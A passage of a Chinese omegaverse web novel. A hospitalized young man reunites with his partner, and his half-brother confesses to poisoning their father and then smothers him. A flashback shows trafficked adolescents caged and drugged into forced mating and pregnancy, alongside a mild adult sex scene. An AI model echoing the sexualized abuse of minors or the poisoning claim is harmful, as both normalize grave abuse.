只见那人合身的西装外套着一件长款风衣,左手抱着一大束花,右手提了好些东西,大步走了进来。 卢绛眼巴巴的看着他,想要第一时间和他拥抱,景凉读懂了他的心思,连手上的东西都没放下,弯下腰与他贴贴,卢绛才刚伸手要抱他,他就起身走开了。 见他将手里的东西一件一件放下,卢绛轻咳了下嗓门儿,视线几乎是黏在他身上,生怕一眨眼他就不见了。 放下东西,景凉有些生怯的走到了他的跟前,害怕眼前的他依旧是虚幻的梦。 第97章 第97章 我想闻你的信息素。 景凉伸出指尖, 轻轻描摹着他俊美的脸部轮廓,缠绵的思念化成泪水在眼眶里闪烁,“真的是你吗?阿绛……” 卢绛拉他入怀,用尽浑身力气紧拥着他, 再也不愿放手。 他声色沙哑, 低语:“凉哥,我好想你, 好想你, 想到没有你根本活不下去。” 强忍的泪珠从景凉眼眶无声滑落, 他抬手轻拍着卢绛的后背:“回来就好, 回来就好……” 卢绛亲吻着他的脸侧和耳垂,又将脸埋在了他的肩窝深吸了口气,只有淡淡的信息素。 “我想闻你的信息素。” “嗯。”景凉释放出一些信息素,温柔的将他缠绕, “也给我你的。” 卢绛抱着他一起躺在了床上, 将自己的信息素包裹着景凉,满满的占有欲。 两人躺在一起温存了许久, 享受着这温馨而静谧的时刻。 “头还晕吗?”景凉轻轻摸了摸他的头, 缠了一层很厚的纱布。 “晕……”语气委屈又掩不住撒娇,“不过看到你就好多了。你一直知道我在医院?” “我知道。”景凉轻叹了口气, “那个……他回来之后, 我们没有再联系, 但我一直在派人暗中看着, 你的一举一动我都知道。” “对了, 这么长时间,你去了哪里?”景凉虽然让自己的语气尽量平静,但依旧在颤抖, “你走之后我适应了很长时间没有你的生活,有好好照顾自己,你呢?” 卢绛咽下喉间的酸涩,侧身用力抱着他,将脸埋在了他的胸口,哽咽:“在那个世界,我过得一点都不好,我每天都很想你,想你想得很难受。” “那个世界没有家人吗?” 卢绛闷在他胸口摇摇头,声色沙哑:“没有,没有家人,没有爱我的人,也没有我爱的人,我再也不想回去,在那个世界我已经死了。” 景凉心脏狠狠刺痛了下,“死了?” “你想听吗?如果你想听,我全部说给你听。” “好。” 卢绛将那个世界从小到大,从事件发生到他死事无具细的说给了景凉听,一直到天光大亮。 只是有些被他省略了,比如被网暴被关进精神病院那些都是只字片语带过,他只是想让景凉心疼他,并不是真正想让他为自己难过。 说到死亡那一刻,他甚至是带着笑的,告诉他:“我一点都不害怕,我知道死亡不结束而是开始,想到我就要见到你,对他们所有的怨恨在那一瞬间都烟消云散,凉哥,我终于冲破了那张无形的天网,彻底的解脱了。” 景凉悄悄抹了好几次眼泪,他尽量用着轻松的语气叙述,可依旧摆脱不了整个故事的沉重与悲伤,身为这个悲剧主人公的他,该是多绝望? “凉哥,你别哭呀。”卢绛眼角绯红,却不舍得他为自己流一滴泪,“你该为我高兴,我回到了最爱的人身边,是一个好结局。” “嗯……”景凉泣不成声,长这么大,从未像这样为谁哭过,卢绛的过去太让他心疼。 “对不起,早知道我就不说了。”卢绛亲吻着他脸上的泪水,“对不起。” 景凉吸了吸鼻子,又做了个深呼吸,才将这股情绪控制住,他眼睛红红的,长睫上沾着泪水,眸光深邃地看着他,“伤害你抛弃你的人都是没福气的,以后你在我这儿就是我最重要的宝贝,没有人可以越过我来伤害你。” 他的承诺厚重又叫人温暖,卢绛一颗心疯狂跳动,对他的爱意升到了一个顶点,哪怕余生献祭生命来爱他。 此时,门外传来一阵动静,这个时间该是医护来查房了,景凉赶紧起身,背过身去抽了纸巾擦了泪水和鼻涕。 有点难为情,也没看卢绛,声音闷闷地说了声:“我去一趟洗手间。” 景凉洗了把脸出来,医护查完房正要走,景凉跟了出去。 卢绛乖乖的躺在病床上,等他回来。 景凉没去多久,推门走了进来。 “凉哥……” “不行。” “你怎么知道我要说什么?” “医生说你肺部有感染,中度脑震荡需要观察一个星期。” “我觉得没什么问题。” “那是你觉得,听话。”用最温柔的声音说着最没商量的话。 没一会儿,护士拿了药进来继续给他扎针,上好新吊瓶等护士出去,卢绛又问:“那我输完液能不能回家去洗澡?” “我看了下浴室,条件还可以,我拿几套舒适的睡衣过来。” “我想家了。” 听到这句话,景凉没再驳回,“那我去问问护士长,请个假。” 卢绛这才露出一个笑容:“你快去问。” “肚子饿不饿?附近有个周记早茶,我去带两份早餐。” “你不休息吗?” “陪你吃完早餐,我要去一趟公司,如果能请假回家,我中午就过来接你。” “凉哥,你要注意休息。” 景凉浅笑着撩起他额前的留海,在他的额间落下一吻,“最近休息得很好,精力很充沛,你就放心吧!倒是你,病恹恹的,上午睡一觉。” 说着,景凉拿过外套转身离开了病房。 他走后卢绛一颗雀跃的心一阵失落,好不容易活着回来,只想腻歪在一起。 卢绛一心想回家,正午终究是如愿了。 家里一点没变,他总算自在了些,拿了衣服先去洗澡,带了一身病气总觉得连身体都跟着笨重了。 洗了澡出来,神清气爽。 阿姨煮了几个清淡的菜,又炖了补脑的天麻猪脑汤,都说吃啥补啥。 卢绛放开了胃吃了三大碗饭和两碗汤,桌上的菜几乎扫空,景凉怕他吃撑了,叫秘书送了健胃消食片过来。 肚子里的还没消化,卢绛就盘算着两点半的下午茶,拿着手机看网上推荐:“这家蛋挞看上去很好吃……这家蛋糕好精致,红茶是我喜欢的。” 景凉拿着电脑坐在一旁沙发上办公,一边盯着他的小alpha,说了句:“下午茶就不吃了,你昏迷了这么久,胃都是空的,突然一下吃这么多,肠胃吃不消。” “哦。”卢绛有点失落。 “晚上要回医院。” 卢绛一脸苦闷:“我想在家里养病。” “你要做脑部和肺部的CT,总是跑来跑去不利于你病情痊愈。” “我是怎么受伤的?” 景凉长叹了口气,“说来话长,也有点复杂。你是在游轮上被人从后面偷袭踹下海的。” 卢绛稍微想了想,就有了点头绪:“第三次了。” “嗯?” “黎花,策划了三次谋杀,她是真的想让我死。” 景凉听着心紧揪在了一起,“我手里已经掌握了她谋杀你的证据,随时能送她进监狱,让她永远出不来。” 卢绛却沉默着没说话。 景凉放下了手里的电脑,起身坐到了他身边,摸了摸他的脸,“你有点发烧,想不想睡一觉?” “我掉进海里,是谁救了我?” “是我的人,上次那件事之后,我就一直暗中让人盯着黎花,也请了几个身手很好的保镖在暗中保护你,黎家人翻不出什么花来。” 景凉默了会儿,又道:“还有,你爸他……现在还在ICU抢救。” 卢绛猛地坐起身,不敢相信的瞪大了双眼:“什么?” “半个月前突发心梗,下了好几次病危通知书,黎花母子不让你见卢佑铭,两天前还把你的东西全扔出来了。” “不可能的,卢佑铭一月做一次全面体检,身体健康得很,连感冒都很少,怎么会突发心梗?” “如今卢氏集团已经驻进了叶氏不少势力,你那个母亲对卢佑铭可谓恨之入骨。” “她也恨我。” 景凉握过他的手,无声安慰。 卢绛冲他笑笑:“没事的,我已经不难过了,但是我爸他……他对我其实挺好的,我想见见他。” 景凉一脸凝重:“很难,医院病房都换了叶家请来的人照看,防得滴水不漏。” 卢绛想了想说道:“我联系卢羡试试。” 景凉皱眉,摇了摇头:“只怕没用,你最好也不要相信那个卢羡。” “我知道,”卢绛无奈道:“我不可能将希望寄托在卢羡身上,但是把他约出探探口风,看能不能套出点话来,还是可以的。” * 市中心医院,卢佑铭虽然从icu转到了普通vip病房,但依旧没有脱离危险。 卢羡独自坐在床前,手里削着一个苹果,他的手很巧,果皮连着没断。 卢佑铭短暂清醒了过来,戴着氧气罩,喘着粗气要说什么。 卢羡体贴的放下苹果和刀,擦了擦手,替他把氧气罩摘下,问道:“爸,你要说什么?” “阿绛,阿绛……叫他,叫他来……” 卢羡撇嘴:“您还是戴上吧。”说着,当没听到似的替他重新将氧气罩戴上。 削好皮,卢羡径自咬了一大口,冲床上消瘦了许多的男人嘲讽一笑:“老废物,怎么还不死?苟延残喘让大家都很为难的。” 卢佑铭目?欲裂瞪着卢羡,那模样恨不得亲手掐死他。 突然卢羡的手机响了,他看了眼来电,意味深长的笑着接起了电话。 那端传来卢绛低沉略带冷冽的声音,“卢羡,我们见一面吧。” 卢羡悠哉的靠进椅子里,“由呢?” “好歹兄弟一场,要求见一面不过份吧?” “啧,行吧,唯爱咖啡馆,那里的咖啡不错。” 挂断电话,卢羡拍了拍卢佑铭的胸口,“老东西,你家阿绛要找我私聊,我去去就回,跟你再演一场父慈子孝。” 景凉开车将卢绛送到了咖啡馆外,他坐在车里没下来,让卢绛独自一人去了。 他在场有些话卢羡会有所顾忌。 卢绛去了早了点,等了半个小时,卢羡才姗姗来迟。 他看了眼卢绛脑袋上那一圈厚重的纱布,笑着打了声招呼:“弟弟,你伤成这样怎么不在家好好休息?” “托你的福。” “跟我可没关系,拿铁还是美式?” “牛奶。” “噗……”卢羡笑了声:“好吧,小朋友。” 第98章 第98章 护士进来查房,这门开是不开…… 卢绛并不在意他的调侃, 他脑部受伤摄取咖啡因不是明智之举。 卢羡轻啜了口咖啡,明知故问:“你找我出来有什么事?” “我想见爸爸一面。” “你们父子之情有这么好吗?” “好与不好都是我名议上的父亲,我有权利见他。” 卢羡微歪着头打量他,语气很平坦, 却隐约透着几分挑衅与玩味, “要是我不让呢?你能拿我怎么样?” 卢绛一颗心沉到了深渊,失望地看着他:“我原本对你还有些期待, 没想到……看来是我太自以为是。” 卢羡失笑:“别太天真了弟弟, 经历这么多难道你还没看透人性这东西?只要没有期待, 就不会有失望, 你对我失望那是你的事,与我无关,我没有义务变成你想要的那个人。” “谢谢你给我上的这一课,既然如此, 那就各凭手段吧。”卢绛没再看他一眼, 转身大步离开了咖啡馆。 卢绛走后,卢羡呆坐在沙发椅上许久, 低头点了一支烟。 回医院的车上, 卢绛坐在副驾驶情绪低落的沉默着。 等红绿灯时,景凉放了一首舒缓心情的钢琴曲, 这才轻声问他:“都说了什么?走出咖啡馆你情绪很不对。” “卢佑铭会死吗?” 景凉狠抽了口气, 莫名有些难过, “也许吧。” “他对我还不错, 我第一次(哽咽)……感受到亲情, 是他给我的,父亲可以依靠的感觉。” “卢羡不让你见他最后一面?” “他怎么会是这样的人?”默了会儿,卢绛又摇摇头, “不,他应该是这样的人,从一开始回到卢家,就是带着满腔的仇恨回来的。” “别想太多,你现在还是个病号呢!先去医院吧。” “嗯。” 回到医院,医护给卢绛量了温,还是在发烧,但好在咳嗽不明显。 明早要做CT,傍晚一到医院又开始输液,折腾这么久整个人精气神都不太好,瘦了一大圈。 景凉看着别提有多心疼,“等你好了,让阿姨给你做很多好吃的,把掉了的肉都补回来。” 卢绛像只受了委屈的狗狗,哼哼唧唧往景凉怀里钻,“你可不可以不要走?” “好,我不走。” “明天也不走?” 景凉嚅了嚅双唇,犹豫了片刻,点头:“明天也不走,今天明天都会在医院里陪着你。” 晚上六点,家里的阿姨煲了汤做了几样清淡的菜送来了医院。 景凉摆好床桌,陪着他一起用饭。 吃到最后,也不知卢绛想到了什么,把手上的碗筷一摔一脸绝决。 景凉的心跟着漏了一拍:“怎么?菜不合胃口?你现在不能吃重油重盐……” “我只是想到卢佑铭……”卢绛抬头看向景凉,往他跟前凑了凑,“你手上掌握了多少证据?” “有一部分监控录屏还有买凶杀人的转帐记录,但她做得十分隐晦,现在她背后有叶氏撑腰,若她诡辩再加上律师的规避不足以直接定罪,想将她的罪名定死而在于卢叶两家合作项目的假帐上。” “有她买凶的证据就够了。” “嗯?” “不够定罪也没关系,让她出点乱子应接不暇,我才能有机会把我爸带出来。” “我以前的手机可能还在卢家别墅。”卢绛在医院找了几次都没找到之前用的那一部,那里面有乔秘书的联系方式。 现在这种情况他独立难支,但只要有乔秘书出面,联合董事局的几位肱骨之臣,就能有机会扭转局势。 “乔秘书的话,我可以帮你联系看看,但是从卢氏变革之后,这位乔秘书深居简出,态度讳莫如深,对卢董对你也是不闻不问的态度。” “或许他想明哲保身?” 景凉直觉没这么简单,他摇了摇头:“明哲保身,怕是不见得。他跟着卢董做事近二十年,他就是你父亲的左膀右臂,卢氏整个运行轨道一清二楚,黎花现在还没有褫夺卢氏代董事,是因为没有乔秘书这样的人拥趸,想必公章也不在她手上,所以在这个时候,乔秘书有足够的资本谈条件。” “你的意思是,公章很有可能会在乔秘书手里?” “是有这个可能,但并非绝对,你父亲那个人太狡猾了。”景凉不便再多说什么,他甚至都觉得卢佑铭突然病倒,这么顺成章落入黎花母子手中,成为待宰羔羊本身就是极其反常的一件事。 卢绛扶着额头,脑筋抽疼,“我现在动脑子就头疼,凉哥,我不会被打傻了吧?” 景凉不由失笑,摸摸他的头:“不会的,你这么聪明,傻一点更可爱。” “我哪里可爱了?”他感觉自己跟可爱的形象完全不沾边。 “是灵魂很可爱。” 卢绛怔愣了下,跟着笑了。 景凉把床桌收了,从行李包里拿出换洗衣服,“我去洗个澡,手机借你玩。” 卢绛拿过他的手机解锁,搜了下关于万星科技现在的动向以及荒野求生的财讯数据,在上个月十五号发布了半年业绩报表,第二季的营收685.8亿元,同比增长40%,净利润120亿…… 现在大头还是在万星娱乐版块,直播带货和主播文娱行业所带来的利益巨大,以如今卢绛的身价,恐怕不会比保守派的卢氏差多少。 只是现在很多人依旧后知后觉,没有抓住这个风口,能抓住风口的已经开始赚第一桶金了。 卢绛退出新闻快讯,拨打了霍临的手机号码。 等了好一会儿,那端终是接听了,语气特别严肃正经:“您好景总,不知这么晚打电话过来是有什么指示?” “咳~”卢绛故意压着嗓子问了句:“你觉得我该有什么指示?” “景总您今天……” “我今天怎么了?” “淦!”霍临这骂声极具穿透力,“卢小绛你越来越调皮了!一句话不说失踪这么久,连炸个尸都要装你媳妇来恐吓人,你是不是欠打?” “没有啊!”卢绛笑了声:“看你工作做得好,打电话过来慰问一声,霍总辛苦了。” “有你这么慰问人的?”霍临本身就对景凉这人发怵。 霍临一阵无语,但想到最近卢氏巨变,想着他这么久不出面不联系,也是有迫不得已的苦衷,语气这才平和了许多。 “家里的事处得怎么样了?” “一团麻。” “行,那你先处家里的事吧,反正公司这边都步上了运营轨道,没什么要特别操心的事情。” 语落,卢绛听到他按打火机的声音。 “你少抽点,别到时候年纪轻轻肺不行了。” “是肺不行又不是那儿不行,人活一世,及时行乐。” “先不说了,等处完家里的事我再过去南城找你。” 霍临轻叹了口气,语重心长的叮嘱着:“照顾好自己,你老婆要是欺负你,就过来找霍哥,你哭的时候霍哥还能给你递纸巾看着你哭。” “走你!” 挂断电话,卢绛的心情稍微好一点,虽然烦心事多,但在这里有最信任的朋友,还有最爱的人在身边,这个世界是有温度的,让人充满了希望与期待。 卢绛打开游戏商城,想下载荒野求生玩儿打发时间,自家公司开发的游戏,还没捧过场有点说不过去。 游戏下到一半,景凉带着水气从浴室走了出来,平时在家里他偏好穿宽松暗色的睡袍,今天穿了一套中规中矩的睡衣裤,白底草莓图案,褪去工作状态时的凌厉,多了几分稚气。 卢绛立马丢开了手机,一双深邃明亮的眼睛直勾勾的盯着人看,直到景凉红了耳尖。 景凉头上搭着干发巾,坐到了床沿,伸出微凉的手覆在了他那双迷人的眼睛上,声色微哑:“别这样看着我。” “为什么?” 景凉轻轻一笑,“有点不好意思。” 卢绛抬起手,从修长的指尖摸索沿着他小臂优美紧致的线条,手掌握住了他手肘处,稍微用力一拉,景凉整个人跌进了他怀里。 卢绛的嘴角勾起得逞的笑意,手臂顺势环扣住他的后腰,不让他起身离开。 景凉心脏兴奋得咚咚直跳,用力到仿佛能听到,尽管他表现得很矜持,但他对自己alpha的渴望像是热烈的岩浆,要将一切都融化。 彼此靠得太近,连呼吸都开始交融缠绕,身体传来一阵阵的热度,驱走了秋夜中的凉意。 卢绛侧过头很温柔的吻住了他的双唇,景凉呼吸一窒,轻闭上眼睛与他迎合。 从缱绻柔情的缠绵到痴迷的占有,彼此无法自拔,渐渐失控。 扣在景凉后腰的手隔着薄薄的睡衣摸索游走,直到感觉alpha宽大的手掌扣住内侧,景凉吓得清醒了几分。 “别!等下护士要来查房了。” 卢绛呼吸粗重,眼里还弥漫着浓郁的欲念,却要生生被打断,有些不爽地咬了下omega的脖子,不甘的说了句:“我想要……” 景凉一张脸红得要滴出血来,“你……你忍一下。”说着坐起身了散掉的睡衣扣子。 小alpha在这事上的自控力并没有那么好,每次一激动就成结了,万一做到一半护士进来查房,这门开是不开? 景凉无法想像这种情况,他丢不起不这个人。 压制这么久的邪火未能得到纡解让卢绛难受得翻了个身,蜷起了双腿,拿过手机翻看着新闻转移注意力。 没一会儿,护士进来查房,正好药也快打完了,就帮他把针拔了,置留针回了很多血。 护士不由说了他两句:“打针还不老实呢?回了这么多血没觉着疼么?” 卢绛尴尬一笑,根本没觉着疼,当时满脑子的黄色废料,现在她这么一说,就开始疼了。 第99章 第99章 你对着弟弟好的时候,有没有…… 护士查完房后离开, 卢绛高兴的伸手把人捞回了怀里。 “傻笑什么?”景凉揪起他光滑紧致的脸皮,眼里全是他欢快的笑容,心口胀得满满的。 卢绛糊了他一脸口水,或轻或重的咬着他腺体周围, 用自己的信息素将他从头到脚包裹得严严实实。 景凉软成一滩春水靠在他怀里, 只能任他予取予求。 虽然是VIP套房,但也毕竟是医院, 卢绛收敛了许多, 没敢真放开了胡来, 只缠着他做了一次便打水擦洗, 躺在床上靠在一起聊了会儿天,困意很快袭来。 次日一大早,景凉陪着他一起去做了脑部和肺部的CT,医生说已经没有什么大碍, 可以领了药回家静养。 听到可以回家, 卢绛迫不及待的回病房收拾东西。 景凉坐在床沿将睡衣叠好放进行李袋里,笑道:“以前不知道你这么恋家。” “因为那是和你的家啊!”卢绛将他收好的行李袋甩在肩上, 露出一个爽朗的笑容, 那双带笑的眸子闪闪发光,明亮犹如星辰点墨。 这谁看了不迷糊呢?景凉情不自禁的吻了下他的唇:“走吧, 带你回家了, 我亲爱的alpha。” * 卢氏集团, 高层董事会议不欢而散。 黎花暂代董事长一职, 已经引得许多元老级董事成员不满, 如今她还想将原有的项目资金转移至与黎氏集团合作开发的新项目,什么目的昭然若揭。 但另外一半董事成员只看中眼前利益,早已与叶氏集团利益链盘根交错, 投票决定对半开,所以没有结果。 黎花脸色不善,才刚走出会议,只见几个警察带着逮捕令朝她走了过来。 “黎女士,有人报警说你买凶杀人,麻烦你跟我们走一趟,配合我们工作,积极调查。” “买凶杀人?”黎花嘲讽一笑,一副泰然处之举起双手,任他们戴上镣铐,自信满满的样子似乎早已笃定对方找不出将她钉死的证据。 走前她吩咐了助交待了一些工作事宜,这才跟警察走了。 接到黎花助的电话时,卢羡开车正往医院的路上。 得知情况后,卢羡也未显任何慌乱,如往常一般前往病房探望。 最近两天,卢佑铭苏醒的时间比往日要长,卢羡过来时,他的意识是苏醒的。 看到卢羡,卢佑铭情绪便开始激动,连呼吸都急促起来,氧气罩上一时全是白雾。 卢羡嘴角带着笑,眼神却是冷的,盯着他时就如两柄磨锋的利刃,恨不得将他千刀万剐。 “我妈今天被警察带走了。”卢羡平静的在病床前坐下,看着营养液从透明的医疗管里滴落。 “医生说你病情逐渐趋于稳定,如果恢复得好,再过十天半个月能顺利出院。” 卢佑铭眸光锐利如刀的盯着眼前这个儿子,知道他不怀好意,若是还有精气神,估计早就骂出口了。 “知道你为什么会脑出血,又难以检查出来吗?” 卢羡诡异一笑:“因为我在你的参茶里每天都加了少量的麻醉剂,长期食用会导致心脏衰竭,像这些心脑血管疾病,突然一下死去,一点也不意外。” 卢佑铭费力的抬起手,因身体机能退化颤颤巍巍几乎无法举起。 卢羡将他伸出来的手紧紧握住,这画面好似父慈子孝。 “我今天过来,就是送你最后这一程的,你有一个好儿子,至少他对你是真心的把你当父亲一样敬重和关心。” “可是卢佑铭,你扪心自问,你配当一个父亲吗?啊?你配吗?!”卢羡恨意浓烈,嘶吼时额角青筋暴起,双眼一片猩红。 “你对着弟弟好的时候,有没有想过我?你的另一个儿子,现在活的是什么样的猪狗不如的日子!?我回来的那天,你有没有让人调查过我的曾经?有没有偶尔有一丝愧疚?” “你以为我回来是贪图卢家的荣华富贵?啊哈哈哈哈……我从地狱爬出来的那一天开始,就没有想过会善终!我回来只是想亲手杀了你!” “我不会给他机会让他救你的,你今天只能死在我的手里,这是你欠我的,你死了之后,我会很快来见你,想到连我的这条命都是你给的,我就恶心!我恶心!我要把这条命还给你,到了地府再来清算你还欠我多少!” 卢羡摘掉了他的氧气罩,一只手掌用力捂住了他的口鼻,卢佑铭巨烈挣扎,因缺氧脸上开始充血,他挣扎得更加厉害,卢羡一只手几乎摁不住,于是他叠上了另一只手,用力的摁着他。 “去死啊!你去死!!”强烈的恨意让垂死的卢佑铭震撼,他竟开始慢慢不再反抗。 直到呼吸机上的红机渐渐平直,医疗仪器发出尖锐的警报声。 一滴豆大的水珠砸在卢绛铭的脸上,卢羡下意识抬手去抹,竟是自己的泪水。 随着嘈杂的脚步逼近,尖锐的仪器在耳边作响,他的脑子陷入一片空白,如同溺水之人无法呼吸。 医护人员推出病房,眼前的画面在晃动扭曲,过往被尘封的记忆如袭卷的海浪扑天盖地的将他卷入淹没…… “妈,我们要去哪呀?” 何今月拢了拢她一头漂亮浓密的长卷发,笑容温婉亲切,“阿羡乖,很快就到了。” “可是我累了,脚好疼啊。明天,明天还要上学……” “你怎么这么不听话,再这样的话,今晚罚你不准吃晚饭。” 十二岁的卢羡虽然很委屈,但也害怕挨饿的感觉,只是咬牙默默跟在妈妈后面,也不知道走了多远,直到天色渐暗。 何今月还在报怨:“你吃我,喝我的,我让你干点什么你还老不情愿?我养你容易吗?你说我图什么呀?” …… 直到走到镇外的小树林,从面包车里跳下来两个男人,与妈妈嘀咕了好半天,他们给了一沓钱后,走过来去拉他。 卢羡拼命的反抗起来:“你们抓我干什么?!放开我!!妈!妈妈!别丢下我,求求你!” 何今月轻叹了口气,数着手里的钱:“你说你永远是个beta多好?为什么要分化成alpha?而且还是A级!这会让我的阿绛很难做的,卢家不需要两个继承人。” 说着,把数好的钱揣进包包里,笑容近乎残忍:“你就跟着他们走吧,要怪就怪你爸,还有怪你的命不好。” “阿绛是谁?你要为了他把我卖了吗?我还不够听话吗?!我才是你儿子!!” “不,阿绛才是我的儿子,你才不是,你是没有人要小杂种,你不值得被人爱,因为你的亲生爸妈都不要你,不然这么多年我为什么要对你这样?你自己不好好想想你错在哪吗?” “不是……不是这样……我没有错!”少年的心防线一点点被击溃,无助的嚎啕大哭起来,哪怕她对自己再不好,他多么希望这只是一场玩笑。 只要她现在回头,愿意带他回家,他会原谅她所做的一切,就当从来没有发生过。 但是他所期望的事情并没有发生,他的妈妈,走得头也不回。 那些人往他脖子里扎了一针,刺痛过后,意识就陷入了无尽的黑暗,再醒来时,他被关在一个铁笼子里,四肢被铁链锁住,透不进一点光。 没有人和他说话,唯一进来给他送饭的女人,看他的眼神就像看一只畜生,没有任何怜悯,就这样似乎是过了一年左右,笼子里又被关进来一个少年。 一年多没有说过话,他说话都有些不利索,却还带着一丝少年人的天真与乐观。 “你是谁?你叫什么名字?你怎么不说话?” “喂~你说话呀。” 他朝他稍微爬过去了一点,他抖得很厉害,气息颤抖着似乎带着哭腔。 “你跟我说说话吧,我感觉好孤独,已经很久没有人和我说话了。” 死一般的沉寂后,卢羡用力吸了吸鼻子,疑惑:“你闻到了吗?好像有桃花的香味,现在是春天吗?是不是桃花开了?” “真好闻,我喜欢桃花的香气,你喜欢吗?” “你不告诉我名字,那我以后就叫你桃花了,我叫……”一想到过往的那个名字他的心就狠狠抽疼着,卢羡是个不被人爱,没有人要的孩子。 “我叫卢绛,卢绛……是我的名字。”他一定很讨人喜欢,如果他是卢绛该多好。 桃花只是紧抱着自己蜷缩成一团,恐惧将他整个人笼罩。 卢羡感觉到他不喜欢自己靠近,便躲远了些。 直到第三天,那股香味更浓郁了,他闻着总觉得不太舒服,他不知道自己是怎么了,总想要靠近他,触碰他。 到了第四天,外边的人察觉到没什么动静,终于按捺不住带了医生进来,那医生叫张觉,他叫人打开了铁笼子,看了看他,扭头用客家话说了什么,然后小助手递了一个铁盒子过来。 张觉打开盒子,拿出一支针剂,叫人按住他,冰冷的药水往他腺体里打了进去。 打完药后,张觉就叫他们离开了。 卢羡抓了抓后颈的腺体,有些胀有些疼,半个小时后他浑身发热,意识不受自己控制。 他如掠夺的野兽般朝桃花扑了过去,其实他知道自己在干什么,灵魂是清醒的,仿佛脱离了,浮在上空看着自己沦为野兽。 第一次,他就完全永久标记了桃花。 那时对这一切都是懵懂无知的,他甚至不知道永久标记对一个omega意味着什么。 他的omega被带出笼子时,他像是发了狂一般自虐地撞击着铁笼子,希望他们把他的omega还给他。 就如同那时母亲将他抛弃,卖给别人一样,希望终究是落空了。 那时他就已经明白,像他这样的人,带着希望活着才是一件最痛苦的事。 第100章 第100章 我的omega死了,我从…… 他开始绝食、抑郁, 拖着一具残破的身躯,死气沉沉等待着命运的最终审判。 也许是怕他真的死了,得不偿失,又将桃花送了回来。 Omega用温柔的信息素安抚他, 让他开始恢复了生命力。 那是他们呆得最久的一段时光, 彼此之间的话很少,多数的时候, 只是互相依偎着取暖, 不去想未来, 此时此刻是少有的静谧与美好。 大约过了三个多月, 桃花的肚子鼓了起来,他以为omega是生病了,担忧不己,桃花再次被带走后, 他独自蹲在铁笼子里安安静静的。 他知道, 他们会去带桃花看病,会治好他的, 他会好好的呆在这里, 等他回来。 可是这一等,又是一年。 再见到桃花时, 他长高了一些, 但越发清瘦, 皮肤苍白得几乎看不到一丝血色。 “桃花, 你还好吗?” 桃花将脸埋在膝盖上, 独自缩在角落,拒绝与他说话,也拒绝他的靠近。 那天夜里, 桃花进入发情期,他依旧记得他的眼神满是痛苦与绝望,却无法克制身体的本能,想要与alpha结合。 他摸到桃花肚子上的疤,脑海里隐隐有些猜测,后知后觉。 清醒后的桃花缩在他怀里一直在哭,撕心裂肺。 桃花的哭声像是一把刀子,在他的心上剜着,他别无他法,只是用力的抱着他,低呐安抚。 “阿绛,我害怕。” “别怕,别怕桃花,别怕……”他说着别怕,自己的身体却抖得像秋风中的落叶。 可即使害怕,该来的终究会来,这次离别又是一年。 他的易感期将至,情绪烦躁的把空碗摔了个稀碎,看管他的男人拿鞭子狠狠抽他一顿,打完收拾了两天没给饭吃。 他知道,他的omega就要来了。 一颗心既期待又紧张害怕。 这次见面,桃花与上次的状态完全不一样,整个人很柔和平静,偶尔会对他笑笑。 可桃花笑时,他却心痛如绞,小心翼翼伸手去碰他的肚子,泪水不受控制的叭嗒叭嗒往下掉。 长大些就自然明白了,在桃花身上到底发生了什么。 发情期如约而至,他将藏起来的尖锐瓷片用力的握在掌心,快要失控时就让碎片划破皮肉,痛感会让他得到片刻清醒。 他们做了一场戏,桃花被带走前,悄悄对他说:“阿绛,你再等等我,我一定会带你逃出去。” 卢羡瞪大了双眼看向他,或许是这样的信念,才会让他看起来变得不一样。 是啊,逃出去,对他们来说是当下最美好的祝福。 也不知道在孤独无尽的黑暗中究竟等了多久,直到有一天,村里那个医生打开了地窖,用钥匙打开了困住了他五年的牢笼。 他逃离的那天是个夜晚,虽然天上没有星星和月亮,但是村庄的火光将半边天都照亮。 他被困得太久,走路都不太利索。 医生牵着他不知道要往哪儿去。 他甩开医生的手,要回头去找桃花。 “你去哪儿?!” “桃花……我要去找他。” 医生的神情让他看不明白,只觉得很沉重复杂。 “桃花已经先走了,他会在山下的公路站牌那里等着你,去吧,走了就永远别再回来。” 在医生的帮助他,离开了村庄。 山下的公路站牌只有一处,是很容易找的,每天只有一班车路过,搭往去市区。 卢羡坐在公路站牌旁的长凳上,等啊等,从天明等到天黑,又从天黑等到天亮。 他莫名有一种直觉,他的omega永远不会来了。 在上午车来的时候,他下了很大的决心,搭上了那天唯一去市区的车,再也没有回去过。 * 卢绛与景凉赶到医院时,抢救已经结束,医生一脸遗憾的长叹了口气:“我很抱歉……” 这是最糟糕的情况,但卢绛也设想过这个情况。 隔着玻璃窗,卢绛看着床上那具形容枯槁的身体,浑身死气躺在那里,仿佛陌生得像是另一个人。 卢绛十指贴着窗,眼睛阵阵发涩,眼眶凝成的泪珠无声砸落,他知道,卢佑铭不是个真正意义上的好人,他甚至不算个好父亲。 可是, 可是…… 他唯一感受亲情的温暖与帮助,是卢佑铭给过他的。 他能感觉得到,那双苍桑锐利的眼睛在看向他时,是带着慈爱与关怀的。 那是他唯一得到过的父爱。 “阿绛,”景凉看着他,心疼得不知道该怎么安慰好。 卢绛擦掉了眼里的泪水,咬着牙恨声道:“我去找他!” “你……”景凉还想说什么,跟了两步没再追上去,有些事情,必须是他独自去面对的。 卢绛找了卢羡半个多小时,在医院附近的公园找到了他。 他嘴里叼着一支烟,一身懒漫,双手横在长椅背上,仰脸看着一望无垠的蓝天白云,眼神却空洞得一无所有。 他知道卢绛来了,身形没动,只是转了转眼珠子,笑容带了几分轻漫与邪性,“弟弟,你来了。” 卢绛双眼绯红,狠狠揪起他的领子,给了他一拳,卢羡踉跄着跌坐在草地上,然后就这么坐着,也不急着挣扎起身。 嘴里的烟掉了,他伸长了手捡回来,又塞进了嘴里抽了口。 “为什么?”卢绛颤声问他,眼底猩红一片,“就非得做到这个地步吗?你知不知道你在犯罪!” “犯罪?”卢羡大笑起来,笑出了眼泪,“哈哈哈哈……啊~弟弟,你真是可爱!我犯罪了,所以呢?你要报警抓我吗?随便你,你怎么会认为我在乎这个?噗……哈哈哈……” “我确实没有经历过你的痛苦,没有资格说什么,你从那里活着回来,难道不应该更要好好活下去吗?” 卢羡觉得他这些话天真又荒唐:“你是不是以为这世上没有什么比活着更重要的事了?” “难道不是吗?” “别搞笑了!”卢羡突然面目狰狞,怒斥着他:“活着是每个人能选择的权利,重要的不是活着,而是怎样活着!你什么都没失去过,凭什么说这些话?自以为是的告诉我活着最重要?!” “难道作践自己很了不起?”卢绛痛心疾首的质问他:“你报仇了,那你开心了吗?别人不爱你、负你、伤害你,那又怎样?你就不能加倍爱自己吗?” “你懂什么?”卢羡愤然起身,与卢绛对峙着,“如果姓景的死了,你还能轻松说出这些话?你告诉我啊!” “你才死了!” 